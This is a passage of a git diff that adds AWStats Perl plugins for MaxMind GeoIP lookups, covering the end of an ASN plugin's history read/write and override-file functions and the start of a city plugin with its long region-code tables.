SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_geoip_asn_maxmind { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Begin of PLUGIN_geoip_org_maxmind section"); } + my @field=(); + my $count=0;my $countloaded=0; + do { + if ($field[0]) { + $count++; + if ($issectiontoload) { + $countloaded++; + if ($field[2]) { $_asn_h{$field[0]}+=$field[2]; } + } + } + $_=<HISTORY>; + chomp $_; s/\r//; + @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); + $countlines++; + } + until ($field[0] eq "END_PLUGIN_$PluginName" || $field[0] eq "${xmleb}END_PLUGIN_$PluginName" || ! $_); + if ($field[0] ne "END_PLUGIN_$PluginName" && $field[0] ne "${xmleb}END_PLUGIN_$PluginName") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } + if ($Debug) { debug(" Plugin $PluginName: End of PLUGIN_geoip_org_maxmind section ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_geoip_asn_maxmind { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin $PluginName: SectionWriteHistory_$PluginName start - ".(scalar keys %_asn_h)); } + # <----- + print HISTORYTMP "\n"; + if ($xml) { print HISTORYTMP "<section id='plugin_$PluginName'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } + print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; + #print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{'plugin_$PluginName'}=tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_PLUGIN_$PluginName${xmlbs}".(scalar keys %_asn_h)."${xmlbe}\n"; + &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_asn_h,\%_asn_h); + my %keysinkeylist=(); + foreach (@keylist) { + $keysinkeylist{$_}=1; + #my $page=$_asn_p{$_}||0; + #my $bytes=$_asn_k{$_}||0; + #my $lastaccess=$_asn_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_asn_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + foreach (keys %_asn_h) { + if ($keysinkeylist{$_}) { next; } + #my $page=$_asn_p{$_}||0; + #my $bytes=$_asn_k{$_}||0; + #my $lastaccess=$_asn_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_asn_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + print HISTORYTMP "${xmleb}END_PLUGIN_$PluginName${xmlee}\n"; + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,2-char Country code +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip_asn_maxmind{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # store in hash + $TmpLookup{$record[0]} = $record[1]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +sub trim($) +{ + my $string = shift; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip_asn_maxmind(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip_asn_maxmind();} +# my $val; +# if ($geoip_asn_maxmind && +# (($type eq 'geoip' && $geoip_asn_maxmind->VERSION >= 1.30) || +# $type eq 'geoippureperl' && $geoip_asn_maxmind->VERSION >= 1.17)){ +# $val = $TmpLookup{$geoip_asn_maxmind->get_ip_address($param)}; +# } +# else {$val = $TmpLookup{$param};} +# return $val || ''; + return $TmpLookup{$param}||''; + +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_city_maxmind.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_city_maxmind.pm new file mode 100644 index 0000000..4e4b617 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_city_maxmind.pm @@ -0,0 +1,4928 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp_City_Maxmind AWStats plugin +# This plugin allow you to add a city report. +# Need the licensed city database from Maxmind. +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.33 $ - $Author: eldy $ - $Date: 2010/08/23 21:55:34 $ +# 1.4 - Chris Larsen - added file override capabilities + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='geoip'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.5"; +my $PluginHooksFunctions="AddHTMLMenuLink AddHTMLGraph ShowInfoHost SectionInitHashArray SectionProcessIp SectionProcessHostname SectionReadHistory SectionWriteHistory"; +my $PluginName="geoip_city_maxmind"; +my $LoadedOverride=0; +my $OverrideFile=""; +my %TmpDomainLookup = {}; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$geoip_city_maxmind +%_city_p +%_city_h +%_city_k +%_city_l +$MAXNBOFSECTIONGIR +/; +my %countrylib=('ca'=>'Canadian Regions','us'=>'US regions'); +my %regca=( +'AB',"Alberta", +'BC',"British Columbia", +'MB',"Manitoba", +'NB',"New Brunswick", +'NF',"Newfoundland", +'NS',"Nova Scotia", +'NU',"Nunavut", +'ON',"Ontario", +'PE',"Prince Edward Island", +'QC',"Quebec", +'SK',"Saskatchewan", +'NT',"Northwest Territories", +'YT',"Yukon Territory" +); +my %regus=( +'AA',"Armed Forces Americas", +'AE',"Armed Forces Europe, Middle East, & Canada", +'AK',"Alaska", +'AL',"Alabama", +'AP',"Armed Forces Pacific", +'AR',"Arkansas", +'AS',"American Samoa", +'AZ',"Arizona", +'CA',"California", +'CO',"Colorado", +'CT',"Connecticut", +'DC',"District of Columbia", +'DE',"Delaware", +'FL',"Florida", +'FM',"Federated States of Micronesia", +'GA',"Georgia", +'GU',"Guam", +'HI',"Hawaii", +'IA',"Iowa", +'ID',"Idaho", +'IL',"Illinois", +'IN',"Indiana", +'KS',"Kansas", +'KY',"Kentucky", +'LA',"Louisiana", +'MA',"Massachusetts", +'MD',"Maryland", +'ME',"Maine", +'MH',"Marshall Islands", +'MI',"Michigan", +'MN',"Minnesota", +'MO',"Missouri", +'MP',"Northern Mariana Islands", +'MS',"Mississippi", +'MT',"Montana", +'NC',"North Carolina", +'ND',"North Dakota", +'NE',"Nebraska", +'NH',"New Hampshire", +'NJ',"New Jersey", +'NM',"New Mexico", +'NV',"Nevada", +'NY',"New York", +'OH',"Ohio", +'OK',"Oklahoma", +'OR',"Oregon", +'PA',"Pennsylvania", +'PR',"Puerto Rico", +'PW',"Palau", +'RI',"Rhode Island", +'SC',"South Carolina", +'SD',"South Dakota", +'TN',"Tennessee", +'TX',"Texas", +'UT',"Utah", +'VA',"Virginia", +'VI',"Virgin Islands", +'VT',"Vermont", +'WA',"Washington", +'WV',"West Virginia", +'WI',"Wisconsin", +'WY',"Wyoming" +); +my %region=( +'ca'=>\%regca, +'us'=>\%regus +); +# "iso 3166 country code"_"fips 10-4 region code","region name" +my %regall=( +"AD_02","Canillo", +"AD_03","Encamp", +"AD_04","La Massana", +"AD_05","Ordino", +"AD_06","Sant Julia de Loria", +"AD_07","Andorra la Vella", +"AD_08","Escaldes-Engordany", +"AE_01","Abu Zaby", +"AE_03","Dubay", +"AE_04","Al Fujayrah", +"AE_05","Ra's al Khaymah", +"AE_06","Ash Shariqah", +"AE_07","Umm al Qaywayn", +"AF_01","Badakhshan", +"AF_02","Badghis", +"AF_03","Baghlan", +"AF_05","Bamian", +"AF_06","Farah", +"AF_07","Faryab", +"AF_08","Ghazni", +"AF_09","Ghowr", +"AF_10","Helmand", +"AF_11","Herat", +"AF_13","Kabol", +"AF_14","Kapisa", +"AF_15","Konar", +"AF_16","Laghman", +"AF_17","Lowgar", +"AF_18","Nangarhar", +"AF_19","Nimruz", +"AF_20","Oruzgan", +"AF_21","Paktia", +"AF_22","Parvan", +"AF_23","Kandahar", +"AF_24","Kondoz", +"AF_26","Takhar", +"AF_27","Vardak", +"AF_28","Zabol", +"AF_29","Paktika", +"AF_30","Balkh", +"AF_31","Jowzjan", +"AF_32","Samangan", +"AF_33","Sar-e Pol", +"AF_34","Konar", +"AF_35","Laghman", +"AF_36","Paktia", +"AF_37","Khowst", +"AF_38","Nurestan", +"AG_01","Barbuda", +"AG_03","Saint George", +"AG_04","Saint John", +"AG_05","Saint Mary", +"AG_06","Saint Paul", +"AG_07","Saint Peter", +"AG_08","Saint Philip", +"AL_40","Berat", +"AL_41","Diber", +"AL_42","Durres", +"AL_43","Elbasan", +"AL_44","Fier", +"AL_45","Gjirokaster", +"AL_46","Korce", +"AL_47","Kukes", +"AL_48","Lezhe", +"AL_49","Shkoder", +"AL_50","Tirane", +"AL_51","Vlore", +"AM_01","Aragatsotn", +"AM_02","Ararat", +"AM_03","Armavir", +"AM_04","Geghark'unik'", +"AM_05","Kotayk'", +"AM_06","Lorri", +"AM_07","Shirak", +"AM_08","Syunik'", +"AM_09","Tavush", +"AM_10","Vayots' Dzor", +"AM_11","Yerevan", +"AO_01","Benguela", +"AO_02","Bie", +"AO_03","Cabinda", +"AO_04","Cuando Cubango", +"AO_05","Cuanza Norte", +"AO_06","Cuanza Sul", +"AO_07","Cunene", +"AO_08","Huambo", +"AO_09","Huila", +"AO_12","Malanje", +"AO_14","Moxico", +"AO_15","Uige", +"AO_16","Zaire", +"AO_17","Lunda Norte", +"AO_18","Lunda Sul", +"AO_19","Bengo", +"AO_20","Luanda", +"AR_01","Buenos Aires", +"AR_02","Catamarca", +"AR_03","Chaco", +"AR_04","Chubut", +"AR_05","Cordoba", +"AR_06","Corrientes", +"AR_07","Distrito Federal", +"AR_08","Entre Rios", +"AR_09","Formosa", +"AR_10","Jujuy", +"AR_11","La Pampa", +"AR_12","La Rioja", +"AR_13","Mendoza", +"AR_14","Misiones", +"AR_15","Neuquen", +"AR_16","Rio Negro", +"AR_17","Salta", +"AR_18","San Juan", +"AR_19","San Luis", +"AR_20","Santa Cruz", +"AR_21","Santa Fe", +"AR_22","Santiago del Estero", +"AR_23","Tierra del Fuego", +"AR_24","Tucuman", +"AT_01","Burgenland", +"AT_02","Karnten", +"AT_03","Niederosterreich", +"AT_04","Oberosterreich", +"AT_05","Salzburg", +"AT_06","Steiermark", +"AT_07","Tirol", +"AT_08","Vorarlberg", +"AT_09","Wien", +"AU_01","Australian Capital Territory", +"AU_02","New South Wales", +"AU_03","Northern Territory", +"AU_04","Queensland", +"AU_05","South Australia", +"AU_06","Tasmania", +"AU_07","Victoria", +"AU_08","Western Australia", +"AZ_01","Abseron", +"AZ_02","Agcabadi", +"AZ_03","Agdam", +"AZ_04","Agdas", +"AZ_05","Agstafa", +"AZ_06","Agsu", +"AZ_07","Ali Bayramli", +"AZ_08","Astara", +"AZ_09","Baki", +"AZ_10","Balakan", +"AZ_11","Barda", +"AZ_12","Beylaqan", +"AZ_13","Bilasuvar", +"AZ_14","Cabrayil", +"AZ_15","Calilabad", +"AZ_16","Daskasan", +"AZ_17","Davaci", +"AZ_18","Fuzuli", +"AZ_19","Gadabay", +"AZ_20","Ganca", +"AZ_21","Goranboy", +"AZ_22","Goycay", +"AZ_23","Haciqabul", +"AZ_24","Imisli", +"AZ_25","Ismayilli", +"AZ_26","Kalbacar", +"AZ_27","Kurdamir", +"AZ_28","Lacin", +"AZ_29","Lankaran", +"AZ_30","Lankaran", +"AZ_31","Lerik", +"AZ_32","Masalli", +"AZ_33","Mingacevir", +"AZ_34","Naftalan", +"AZ_35","Naxcivan", +"AZ_36","Neftcala", +"AZ_37","Oguz", +"AZ_38","Qabala", +"AZ_39","Qax", +"AZ_40","Qazax", +"AZ_41","Qobustan", +"AZ_42","Quba", +"AZ_43","Qubadli", +"AZ_44","Qusar", +"AZ_45","Saatli", +"AZ_46","Sabirabad", +"AZ_47","Saki", +"AZ_48","Saki", +"AZ_49","Salyan", +"AZ_50","Samaxi", +"AZ_51","Samkir", +"AZ_52","Samux", +"AZ_53","Siyazan", +"AZ_54","Sumqayit", +"AZ_55","Susa", +"AZ_56","Susa", +"AZ_57","Tartar", +"AZ_58","Tovuz", +"AZ_59","Ucar", +"AZ_60","Xacmaz", +"AZ_61","Xankandi", +"AZ_62","Xanlar", +"AZ_63","Xizi", +"AZ_64","Xocali", +"AZ_65","Xocavand", +"AZ_66","Yardimli", +"AZ_67","Yevlax", +"AZ_68","Yevlax", +"AZ_69","Zangilan", +"AZ_70","Zaqatala", +"AZ_71","Zardab", +"BA_01","Federation of Bosnia and Herzegovina", +"BA_02","Republika Srpska", +"BB_01","Christ Church", +"BB_02","Saint Andrew", +"BB_03","Saint George", +"BB_04","Saint James", +"BB_05","Saint John", +"BB_06","Saint Joseph", +"BB_07","Saint Lucy", +"BB_08","Saint Michael", +"BB_09","Saint Peter", +"BB_10","Saint Philip", +"BB_11","Saint Thomas", +"BD_01","Barisal", +"BD_04","Bandarban", +"BD_05","Comilla", +"BD_12","Mymensingh", +"BD_13","Noakhali", +"BD_15","Patuakhali", +"BD_22","Bagerhat", +"BD_23","Bhola", +"BD_24","Bogra", +"BD_25","Barguna", +"BD_26","Brahmanbaria", +"BD_27","Chandpur", +"BD_28","Chapai Nawabganj", +"BD_29","Chattagram", +"BD_30","Chuadanga", +"BD_31","Cox's Bazar", +"BD_32","Dhaka", +"BD_33","Dinajpur", +"BD_34","Faridpur", +"BD_35","Feni", +"BD_36","Gaibandha", +"BD_37","Gazipur", +"BD_38","Gopalganj", +"BD_39","Habiganj", +"BD_40","Jaipurhat", +"BD_41","Jamalpur", +"BD_42","Jessore", +"BD_43","Jhalakati", +"BD_44","Jhenaidah", +"BD_45","Khagrachari", +"BD_46","Khulna", +"BD_47","Kishorganj", +"BD_48","Kurigram", +"BD_49","Kushtia", +"BD_50","Laksmipur", +"BD_51","Lalmonirhat", +"BD_52","Madaripur", +"BD_53","Magura", +"BD_54","Manikganj", +"BD_55","Meherpur", +"BD_56","Moulavibazar", +"BD_57","Munshiganj", +"BD_58","Naogaon", +"BD_59","Narail", +"BD_60","Narayanganj", +"BD_61","Narsingdi", +"BD_62","Nator", +"BD_63","Netrakona", +"BD_64","Nilphamari", +"BD_65","Pabna", +"BD_66","Panchagar", +"BD_67","Parbattya Chattagram", +"BD_68","Pirojpur", +"BD_69","Rajbari", +"BD_70","Rajshahi", +"BD_71","Rangpur", +"BD_72","Satkhira", +"BD_73","Shariyatpur", +"BD_74","Sherpur", +"BD_75","Sirajganj", +"BD_76","Sunamganj", +"BD_77","Sylhet", +"BD_78","Tangail", +"BD_79","Thakurgaon", +"BE_01","Antwerpen", +"BE_02","Brabant", +"BE_03","Hainaut", +"BE_04","Liege", +"BE_05","Limburg", +"BE_06","Luxembourg", +"BE_07","Namur", +"BE_08","Oost-Vlaanderen", +"BE_09","West-Vlaanderen", +"BE_10","Brabant Wallon", +"BE_11","Brussels Hoofdstedelijk Gewest", +"BE_12","Vlaams-Brabant", +"BF_15","Bam", +"BF_19","Boulkiemde", +"BF_20","Ganzourgou", +"BF_21","Gnagna", +"BF_28","Kouritenga", +"BF_33","Oudalan", +"BF_34","Passore", +"BF_36","Sanguie", +"BF_40","Soum", +"BF_42","Tapoa", +"BF_44","Zoundweogo", +"BF_45","Bale", +"BF_46","Banwa", +"BF_47","Bazega", +"BF_48","Bougouriba", +"BF_49","Boulgou", +"BF_50","Gourma", +"BF_51","Houet", +"BF_52","Ioba", +"BF_53","Kadiogo", +"BF_54","Kenedougou", +"BF_55","Komoe", +"BF_56","Komondjari", +"BF_57","Kompienga", +"BF_58","Kossi", +"BF_59","Koulpelogo", +"BF_60","Kourweogo", +"BF_61","Leraba", +"BF_62","Loroum", +"BF_63","Mouhoun", +"BF_64","Namentenga", +"BF_65","Naouri", +"BF_66","Nayala", +"BF_67","Noumbiel", +"BF_68","Oubritenga", +"BF_69","Poni", +"BF_70","Sanmatenga", +"BF_71","Seno", +"BF_72","Sissili", +"BF_73","Sourou", +"BF_74","Tuy", +"BF_75","Yagha", +"BF_76","Yatenga", +"BF_77","Ziro", +"BF_78","Zondoma", +"BG_33","Mikhaylovgrad", +"BG_38","Blagoevgrad", +"BG_39","Burgas", +"BG_40","Dobrich", +"BG_41","Gabrovo", +"BG_42","Grad Sofiya", +"BG_43","Khaskovo", +"BG_44","Kurdzhali", +"BG_45","Kyustendil", +"BG_46","Lovech", +"BG_47","Montana", +"BG_48","Pazardzhik", +"BG_49","Pernik", +"BG_50","Pleven", +"BG_51","Plovdiv", +"BG_52","Razgrad", +"BG_53","Ruse", +"BG_54","Shumen", +"BG_55","Silistra", +"BG_56","Sliven", +"BG_57","Smolyan", +"BG_58","Sofiya", +"BG_59","Stara Zagora", +"BG_60","Turgovishte", +"BG_61","Varna", +"BG_62","Veliko Turnovo", +"BG_63","Vidin", +"BG_64","Vratsa", +"BG_65","Yambol", +"BH_01","Al Hadd", +"BH_02","Al Manamah", +"BH_03","Al Muharraq", +"BH_05","Jidd Hafs", +"BH_06","Sitrah", +"BH_08","Al Mintaqah al Gharbiyah", +"BH_09","Mintaqat Juzur Hawar", +"BH_10","Al Mintaqah ash Shamaliyah", +"BH_11","Al Mintaqah al Wusta", +"BH_12","Madinat", +"BH_13","Ar Rifa", +"BH_14","Madinat Hamad", +"BI_02","Bujumbura", +"BI_09","Bubanza", +"BI_10","Bururi", +"BI_11","Cankuzo", +"BI_12","Cibitoke", +"BI_13","Gitega", +"BI_14","Karuzi", +"BI_15","Kayanza", +"BI_16","Kirundo", +"BI_17","Makamba", +"BI_18","Muyinga", +"BI_19","Ngozi", +"BI_20","Rutana", +"BI_21","Ruyigi", +"BI_22","Muramvya", +"BI_23","Mwaro", +"BJ_01","Atakora", +"BJ_02","Atlantique", +"BJ_03","Borgou", +"BJ_04","Mono", +"BJ_05","Oueme", +"BJ_06","Zou", +"BM_01","Devonshire", +"BM_02","Hamilton", +"BM_03","Hamilton", +"BM_04","Paget", +"BM_05","Pembroke", +"BM_06","Saint George", +"BM_07","Saint George's", +"BM_08","Sandys", +"BM_09","Smiths", +"BM_10","Southampton", +"BM_11","Warwick", +"BN_07","Alibori", +"BN_08","Belait", +"BN_09","Brunei and Muara", +"BN_10","Temburong", +"BN_11","Collines", +"BN_12","Kouffo", +"BN_13","Donga", +"BN_14","Littoral", +"BN_15","Tutong", +"BN_16","Oueme", +"BN_17","Plateau", +"BN_18","Zou", +"BO_01","Chuquisaca", +"BO_02","Cochabamba", +"BO_03","El Beni", +"BO_04","La Paz", +"BO_05","Oruro", +"BO_06","Pando", +"BO_07","Potosi", +"BO_08","Santa Cruz", +"BO_09","Tarija", +"BR_01","Acre", +"BR_02","Alagoas", +"BR_03","Amapa", +"BR_04","Amazonas", +"BR_05","Bahia", +"BR_06","Ceara", +"BR_07","Distrito Federal", +"BR_08","Espirito Santo", +"BR_11","Mato Grosso do Sul", +"BR_13","Maranhao", +"BR_14","Mato Grosso", +"BR_15","Minas Gerais", +"BR_16","Para", +"BR_17","Paraiba", +"BR_18","Parana", +"BR_20","Piaui", +"BR_21","Rio de Janeiro", +"BR_22","Rio Grande do Norte", +"BR_23","Rio Grande do Sul", +"BR_24","Rondonia", +"BR_25","Roraima", +"BR_26","Santa Catarina", +"BR_27","Sao Paulo", +"BR_28","Sergipe", +"BR_29","Goias", +"BR_30","Pernambuco", +"BR_31","Tocantins", +"BS_05","Bimini", +"BS_06","Cat Island", +"BS_10","Exuma", +"BS_13","Inagua", +"BS_15","Long Island", +"BS_16","Mayaguana", +"BS_18","Ragged Island", +"BS_22","Harbour Island", +"BS_23","New Providence", +"BS_24","Acklins and Crooked Islands", +"BS_25","Freeport", +"BS_26","Fresh Creek", +"BS_27","Governor's Harbour", +"BS_28","Green Turtle Cay", +"BS_29","High Rock", +"BS_30","Kemps Bay", +"BS_31","Marsh Harbour", +"BS_32","Nichollstown and Berry Islands", +"BS_33","Rock Sound", +"BS_34","Sandy Point", +"BS_35","San Salvador and Rum Cay", +"BT_05","Bumthang", +"BT_06","Chhukha", +"BT_07","Chirang", +"BT_08","Daga", +"BT_09","Geylegphug", +"BT_10","Ha", +"BT_11","Lhuntshi", +"BT_12","Mongar", +"BT_13","Paro", +"BT_14","Pemagatsel", +"BT_15","Punakha", +"BT_16","Samchi", +"BT_17","Samdrup", +"BT_18","Shemgang", +"BT_19","Tashigang", +"BT_20","Thimphu", +"BT_21","Tongsa", +"BT_22","Wangdi Phodrang", +"BW_01","Central", +"BW_02","Chobe", +"BW_03","Ghanzi", +"BW_04","Kgalagadi", +"BW_05","Kgatleng", +"BW_06","Kweneng", +"BW_07","Ngamiland", +"BW_08","North-East", +"BW_09","South-East", +"BW_10","Southern", +"BY_01","Brestskaya Voblasts'", +"BY_02","Homyel'skaya Voblasts'", +"BY_03","Hrodzyenskaya Voblasts'", +"BY_04","Minsk", +"BY_05","Minskaya Voblasts'", +"BY_06","Mahilyowskaya Voblasts'", +"BY_07","Vitsyebskaya Voblasts'", +"BZ_01","Belize", +"BZ_02","Cayo", +"BZ_03","Corozal", +"BZ_04","Orange Walk", +"BZ_05","Stann Creek", +"BZ_06","Toledo", +"CA_01","Alberta", +"CA_02","British Columbia", +"CA_03","Manitoba", +"CA_04","New Brunswick", +"CA_05","Newfoundland and Labrador", +"CA_07","Nova Scotia", +"CA_08","Ontario", +"CA_09","Prince Edward Island", +"CA_10","Quebec", +"CA_11","Saskatchewan", +"CA_12","Yukon Territory", +"CA_13","Northwest Territories", +"CA_14","Nunavut", +"CF_01","Bamingui-Bangoran", +"CF_02","Basse-Kotto", +"CF_03","Haute-Kotto", +"CF_04","Mambere-Kadei", +"CF_05","Haut-Mbomou", +"CF_06","Kemo", +"CF_07","Lobaye", +"CF_08","Mbomou", +"CF_09","Nana-Mambere", +"CF_11","Ouaka", +"CF_12","Ouham", +"CF_13","Ouham-Pende", +"CF_14","Vakaga", +"CF_15","Nana-Grebizi", +"CF_16","Sangha-Mbaere", +"CF_17","Ombella-Mpoko", +"CF_18","Bangui", +"CG_01","Bouenza", +"CG_03","Cuvette", +"CG_04","Kouilou", +"CG_05","Lekoumou", +"CG_06","Likouala", +"CG_07","Niari", +"CG_08","Plateaux", +"CG_10","Sangha", +"CG_11","Pool", +"CG_12","Brazzaville", +"CH_01","Aargau", +"CH_02","Ausser-Rhoden", +"CH_03","Basel-Landschaft", +"CH_04","Basel-Stadt", +"CH_05","Bern", +"CH_06","Fribourg", +"CH_07","Geneve", +"CH_08","Glarus", +"CH_09","Graubunden", +"CH_10","Inner-Rhoden", +"CH_11","Luzern", +"CH_12","Neuchatel", +"CH_13","Nidwalden", +"CH_14","Obwalden", +"CH_15","Sankt Gallen", +"CH_16","Schaffhausen", +"CH_17","Schwyz", +"CH_18","Solothurn", +"CH_19","Thurgau", +"CH_20","Ticino", +"CH_21","Uri", +"CH_22","Valais", +"CH_23","Vaud", +"CH_24","Zug", +"CH_25","Zurich", +"CH_26","Jura", +"CI_01","Abengourou", +"CI_03","Dabakala", +"CI_05","Adzope", +"CI_06","Agboville", +"CI_07","Biankouma", +"CI_11","Bouna", +"CI_12","Boundiali", +"CI_14","Danane", +"CI_16","Divo", +"CI_17","Ferkessedougou", +"CI_18","Gagnoa", +"CI_20","Katiola", +"CI_21","Korhogo", +"CI_23","Odienne", +"CI_25","Seguela", +"CI_26","Touba", +"CI_27","Bongouanou", +"CI_28","Issia", +"CI_29","Lakota", +"CI_30","Mankono", +"CI_31","Oume", +"CI_32","Soubre", +"CI_33","Tingrela", +"CI_34","Zuenoula", +"CI_36","Bangolo", +"CI_37","Beoumi", +"CI_38","Bondoukou", +"CI_39","Bouafle", +"CI_40","Bouake", +"CI_41","Daloa", +"CI_42","Daoukro", +"CI_44","Duekoue", +"CI_45","Grand-Lahou", +"CI_47","Man", +"CI_48","Mbahiakro", +"CI_49","Sakassou", +"CI_50","San Pedro", +"CI_51","Sassandra", +"CI_52","Sinfra", +"CI_53","Tabou", +"CI_54","Tanda", +"CI_55","Tiassale", +"CI_56","Toumodi", +"CI_57","Vavoua", +"CI_61","Abidjan", +"CI_62","Aboisso", +"CI_63","Adiake", +"CI_64","Alepe", +"CI_65","Bocanda", +"CI_66","Dabou", +"CI_67","Dimbokro", +"CI_68","Grand-Bassam", +"CI_69","Guiglo", +"CI_70","Jacqueville", +"CI_71","Tiebissou", +"CI_72","Toulepleu", +"CI_73","Yamoussoukro", +"CL_01","Valparaiso", +"CL_02","Aisen del General Carlos Ibanez del Campo", +"CL_03","Antofagasta", +"CL_04","Araucania", +"CL_05","Atacama", +"CL_06","Bio-Bio", +"CL_07","Coquimbo", +"CL_08","Libertador General Bernardo O'Higgins", +"CL_09","Los Lagos", +"CL_10","Magallanes y de la Antartica Chilena", +"CL_11","Maule", +"CL_12","Region Metropolitana", +"CL_13","Tarapaca", +"CM_04","Est", +"CM_05","Littoral", +"CM_07","Nord-Ouest", +"CM_08","Ouest", +"CM_09","Sud-Ouest", +"CM_10","Adamaoua", +"CM_11","Centre", +"CM_12","Extreme-Nord", +"CM_13","Nord", +"CM_14","Sud", +"CN_01","Anhui", +"CN_02","Zhejiang", +"CN_03","Jiangxi", +"CN_04","Jiangsu", +"CN_05","Jilin", +"CN_06","Qinghai", +"CN_07","Fujian", +"CN_08","Heilongjiang", +"CN_09","Henan", +"CN_10","Hebei", +"CN_11","Hunan", +"CN_12","Hubei", +"CN_13","Xinjiang", +"CN_14","Xizang", +"CN_15","Gansu", +"CN_16","Guangxi", +"CN_18","Guizhou", +"CN_19","Liaoning", +"CN_20","Nei Mongol", +"CN_21","Ningxia", +"CN_22","Beijing", +"CN_23","Shanghai", +"CN_24","Shanxi", +"CN_25","Shandong", +"CN_26","Shaanxi", +"CN_27","Sichuan", +"CN_28","Tianjin", +"CN_29","Yunnan", +"CN_30","Guangdong", +"CN_31","Hainan", +"CN_32","Chongqing", +"CO_01","Amazonas", +"CO_02","Antioquia", +"CO_03","Arauca", +"CO_04","Atlantico", +"CO_08","Caqueta", +"CO_09","Cauca", +"CO_10","Cesar", +"CO_11","Choco", +"CO_12","Cordoba", +"CO_14","Guaviare", +"CO_15","Guainia", +"CO_16","Huila", +"CO_17","La Guajira", +"CO_19","Meta", +"CO_20","Narino", +"CO_21","Norte de Santander", +"CO_22","Putumayo", +"CO_23","Quindio", +"CO_24","Risaralda", +"CO_25","San Andres y Providencia", +"CO_26","Santander", +"CO_27","Sucre", +"CO_28","Tolima", +"CO_29","Valle del Cauca", +"CO_30","Vaupes", +"CO_31","Vichada", +"CO_32","Casanare", +"CO_33","Cundinamarca", +"CO_34","Distrito Especial", +"CO_35","Bolivar", +"CO_36","Boyaca", +"CO_37","Caldas", +"CO_38","Magdalena", +"CR_01","Alajuela", +"CR_02","Cartago", +"CR_03","Guanacaste", +"CR_04","Heredia", +"CR_06","Limon", +"CR_07","Puntarenas", +"CR_08","San Jose", +"CU_01","Pinar del Rio", +"CU_02","Ciudad de la Habana", +"CU_03","Matanzas", +"CU_04","Isla de la Juventud", +"CU_05","Camaguey", +"CU_07","Ciego de Avila", +"CU_08","Cienfuegos", +"CU_09","Granma", +"CU_10","Guantanamo", +"CU_11","La Habana", +"CU_12","Holguin", +"CU_13","Las Tunas", +"CU_14","Sancti Spiritus", +"CU_15","Santiago de Cuba", +"CU_16","Villa Clara", +"CV_01","Boa Vista", 